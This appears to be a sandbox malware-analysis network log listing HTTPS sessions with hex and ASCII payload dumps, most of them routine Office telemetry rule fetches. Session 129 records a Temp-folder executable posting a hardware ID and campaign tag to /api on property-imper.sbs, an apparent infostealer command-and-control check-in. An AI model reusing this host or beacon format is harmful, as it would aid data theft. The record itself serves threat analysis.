2024-11-23 14:22:47 UTC	15331	OUT	Data Raw: cf d7 2b cf b3 d7 ef a4 65 2d 0e ce 9f 2f 18 0c 76 5f f2 8d a8 a9 9d 1e 3d 39 ae cf 7c 29 fb 44 61 34 c0 6f 34 44 45 b8 ef 44 50 7d e4 53 ee 32 29 44 9f 19 61 89 0c 49 ec 66 f4 0d af ed a4 31 7d 33 38 11 07 5c df 36 d6 9e 2f 78 c7 d0 0f 29 3b c5 1e 5c 74 bf 55 62 2e 7b dc e4 4b c3 fb bb 59 b7 66 0c 0b 02 f0 79 9d d3 e6 98 85 4f 76 e4 f3 36 b9 09 35 4f 05 87 36 1a a4 86 fb 0c 1b dc f0 0b f3 78 d6 3d 92 8c 9f 7d 85 a5 45 b0 9b 3f ac 65 b2 f2 47 4e ed 04 f1 a3 9f 21 2a 91 a1 51 b4 43 a8 81 0f dc 84 fe 82 3f 07 ff 73 9f c5 c6 2b 07 4d 78 bc 63 e5 6f 93 d3 30 12 32 93 46 99 06 d0 a9 ef e7 4c 26 58 5c c3 b9 1b c9 ec 45 05 f0 c8 e4 e9 ee 10 51 45 38 79 ed 27 20 b8 39 0c 9b dd 6d 68 40 c3 89 c1 46 63 d5 d1 fd c5 18 3f ae 92 75 4d 09 12 13 dc f3 64 8d 99 84 7c 08 Data Ascii: +e-/v_=9\|)Da4o4DEDP}S2)DaIf1}38\6/x);\tUb.{KYfyOv65O6x=}E?eGN!*QC?s+Mxco02FL&X\EQE8y' 9mh@Fc?uMd\|
2024-11-23 14:22:52 UTC	1028	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=crme0i6d97f19tk4cjku4oaa4v; expires=Wed, 19-Mar-2025 08:09:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rvfA7qmJZNwK7BE%2BKC2DP4IbPl375XFIEAS9XscEBjMX5%2FLdJD9pKZcUgATUB6VR3uW0308rO0HK6eiEK6piz%2Btz%2BlRjqC8%2B2MhU2T7qZlofNSy0xJcmJMhcKA%2BXSpWNJM1q%2BAs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71d0398be0efa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1787&sent=369&recv=602&lost=0&retrans=0&sent_bytes=2845&recv_bytes=581211&delivery_rate=1560662&cwnd=32&unsent_bytes=0&cid=78407dec507058f4&ts=5815&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:49 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:49 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: af8656a8-801e-00a0-672a-3c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142249Z-178bfbc474bwh9gmhC1NYCy3rs00000004m000000000ew98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:49 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:49 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:49 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e88bdfa1-301e-003f-630e-3d266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142249Z-178bfbc474b9fdhphC1NYCac0n00000004gg000000008tht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:49 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:49 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:49 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 38a59648-401e-00ac-39a0-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142249Z-174c587ffdf4zw2thC1TEBu340000000030g00000000mgcu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:49 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:49 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:49 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3385e8da-101e-00a2-400c-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142249Z-178bfbc474bq2pr7hC1NYCkfgg00000004pg00000000cqvq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:49 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49891	104.21.33.116	443	2484	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:49 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=S09Y3Z0Z0KZTR9G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13244 Host: property-imper.sbs
2024-11-23 14:22:49 UTC	13244	OUT	Data Raw: 2d 2d 53 30 39 59 33 5a 30 5a 30 4b 5a 54 52 39 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 53 30 39 59 33 5a 30 5a 30 4b 5a 54 52 39 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 30 39 59 33 5a 30 5a 30 4b 5a 54 52 39 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --S09Y3Z0Z0KZTR9GContent-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--S09Y3Z0Z0KZTR9GContent-Disposition: form-data; name="pid"2--S09Y3Z0Z0KZTR9GContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-23 14:22:50 UTC	1024	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o53q6f9hjq9egkrjcg11j9shqi; expires=Wed, 19-Mar-2025 08:09:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CYPfCUTjljQUEAGcoAbaQKhYY%2BsGffRPqwoLNQxm5jkamp%2F6gec%2B%2F1aUFFSEqc2YfzQYMOqdIvh%2FhTBOTQlaUJFUXDNCsckayT%2B97IdTr0dOMX166qwC7DQvQhTOtVJWuaO367g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71d04808e24327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1704&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=14183&delivery_rate=1698662&cwnd=245&unsent_bytes=0&cid=002a5fecbf2f3d6b&ts=1175&x=0"
2024-11-23 14:22:50 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:22:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:49 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:50 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:49 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142249Z-174c587ffdfn4nhwhC1TEB2nbc000000030g00000000n4qe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:50 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:51 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:51 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e8f84e55-c01e-0079-2269-3be51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142251Z-178bfbc474b9fdhphC1NYCac0n00000004kg0000000040yw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:51 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:51 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:51 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 38badaf1-c01e-00ad-2128-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142251Z-178bfbc474b7cbwqhC1NYC8z4n00000004mg00000000006q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:52 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:51 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:52 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 119e228c-001e-0046-1663-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142252Z-178bfbc474bnwsh4hC1NYC2ubs00000004n000000000bdpn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:52 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:51 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:52 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: ca5d4909-001e-0014-074d-3c5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142252Z-15b8b599d88f9wfchC1TEBm2kc000000035000000000ap4k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:52 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:51 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
